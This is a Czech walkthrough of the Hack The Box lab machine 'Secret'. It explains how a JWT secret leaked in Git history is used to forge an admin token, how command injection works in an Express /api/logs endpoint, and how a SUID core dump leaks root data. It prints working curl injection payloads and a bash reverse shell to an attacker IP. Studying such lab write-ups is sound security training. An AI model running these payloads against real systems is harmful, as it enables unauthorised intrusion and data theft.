Secret
Úvod a kontext
Secret nezačíná exploit skriptem, ale stažením Express aplikace a návratem v Git historii ke commitu, kde v repozitáři ještě zůstalo JWT tajemství. V tu chvíli přestane být API jen „web s loginem“ a ukáže se, že claim name přímo rozhoduje o tom, kdo smí sahat na citlivé endpointy. Tuhle kombinaci historického leaku a claim abuse rozebírám i v článcích Repozitář, historie konfigurace a deployment trust a JWT signing secret a claim abuse.
Webová část se pak láme v /api/logs, kde se shellový příkaz skládá z názvu souboru. Jakmile jde podvrhnout administrátorský token, z claimů a logovacího endpointu je shell jako dasith. Root část už s Node aplikací nesouvisí; rozhoduje SUID binárka, která pracuje s privilegovanými daty a zároveň po sobě nechává čitelný core dump.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji veřejně dostupné služby a ověřuji, jestli má stroj kromě webu i samostatné administrační rozhraní nebo alternativní aplikační port.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
První pohled na web
Web na portech 80 a 3000 obsluhuje stejnou aplikaci DUMB Docs. Samotné rozhraní neobsahovalo přímý upload ani administraci, ale /docs zveřejňovalo ukázky práce s API včetně vzorového JWT tokenu. To je užitečné hned ze dvou důvodů:
- potvrzuje, že backend opravdu používá JWT pro autorizaci,
- dává představu o struktuře claimů, které bude později potřeba upravit.
Analýza zjištění
Stažení zdrojových kódů
Další důležitý krok byl endpoint se stažením zdrojových souborů:
http://10.10.11.120/download/files.zip
Po rozbalení archivu bylo vidět, že aplikace pracuje s proměnnou TOKEN_SECRET:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
To samo o sobě ještě nestačí. Hodnota secret působí spíš jako vývojový placeholder a bylo potřeba ověřit, jestli v repozitáři nezůstala starší, skutečně používaná varianta.
Git historie a skutečný JWT secret
V archivu byl i .git, takže mělo smysl projít historii. Právě to bývá častý zdroj tajemství, která už z aktuální verze zmizela, ale v commitech zůstávají dál dostupná.
Historie odhalila starší .env, kde byl uložený dlouhý signing secret:
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Jakmile je známý správný secret, lze si vytvořit vlastní JWT a změnit claim name na theadmin. To je důležité proto, že backend přístup k privilegovanému endpointu /api/logs odvozoval právě z této hodnoty.
Command injection v /api/logs
Zdrojový kód zároveň ukazoval, že endpoint /api/logs skládá shellový příkaz přímo z parametru file:
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
To je klasická command injection. Ověření bylo jednoduché:
curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;whoami"
"ab3e953 Added the codes\ndasith\n"
Praktickou roli curl jako přesného HTTP klienta pro hlavičky a parametrizované requesty rozebírám i v článku curl.
V tu chvíli už bylo jasné, že endpoint nespouští jen git log, ale libovolný příkaz v kontextu uživatele dasith.
Získání přístupu
Reverzní shell jako dasith
Po potvrzení injection dával smysl přejít z jednorázového HTTP command execution na stabilnější shell. Pro tento účel stačil standardní bash reverse shell předaný do stejného parametru file:
curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F4000%200%3E%261%27"
Tím vznikl shell jako dasith, ze kterého už šlo bezpečně ověřit uživatelský přístup:
cat user.txt
__CENSORED__
V této fázi už dává smysl přidat si vlastní SSH klíč do authorized_keys, protože HTTP injection je sice funkční, ale pro další práci zbytečně křehká.
Eskalace oprávnění
Analýza SUID programu count
Lokální enumerace ukázala binárku count, která běžela se SUID bitem. Samotný SUID program ještě automaticky neznamená privesc, takže bylo potřeba pochopit jeho chování. Zdrojový soubor /opt/code.c ukazoval dvě podstatné věci:
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
Program sice shazoval efektivní UID, ale zároveň explicitně povoloval core dumpy. To je problém, protože proces stále může číst privilegovaný soubor a při pádu zanechat jeho obsah v dumpu dostupném neprivilegovanému uživateli.
Zneužití crash dumpu
Praktický postup byl přímočarý:
$ ./count
/root/root.txt
kill -BUS 1749
Po pádu vznikl crash soubor, který šlo rozbalit nástrojem apport-unpack:
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/
cd /tmp/crash/
strings CoreDump
V CoreDump se pak objevil obsah root.txt, protože program měl při pádu rootem čtená data stále v paměti.
Shrnutí klíčových poznatků
- Veřejně dostupné zdrojové kódy mají smysl číst i s historií Git. Tajemství často nezmizí tím, že se smažou z posledního commitu.
- JWT samo o sobě nebylo problémem; rozhodující byla kombinace známého signing secretu a důvěry v claim
name, který rozhodoval o oprávnění k endpointu. - Endpoint
/api/logsje ukázkový příklad command injection vzniklé přímým skládáním shellového příkazu z uživatelského vstupu. - Root část nestála na přepsání SUID binárky, ale na úniku dat přes core dump povolený u procesu, který pracoval s privilegovaným obsahem.
Co si odnést do praxe
- Pokud aplikace zpřístupňuje zdrojové kódy nebo repozitář, je potřeba počítat i s tím, že útočník projde historii commitů. Tajemství se musí po úniku nejen odstranit z kódu, ale i rotovat.
- JWT nesmí nést důvěryhodnost jen proto, že je syntakticky validní. Server musí přesně vymezit, které claimy jsou autoritativní a jak vznikají.
- Shellové příkazy se nesmí stavět interpolací vstupu do řetězce. I zdánlivě neškodný parametr jako název souboru se tím mění na RCE.
- SUID programy, které čtou privilegovaná data, nesmí povolovat core dumpy. Jinak se citlivý obsah přesune z chráněného souboru do paměťového dumpu dostupného běžnému účtu.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky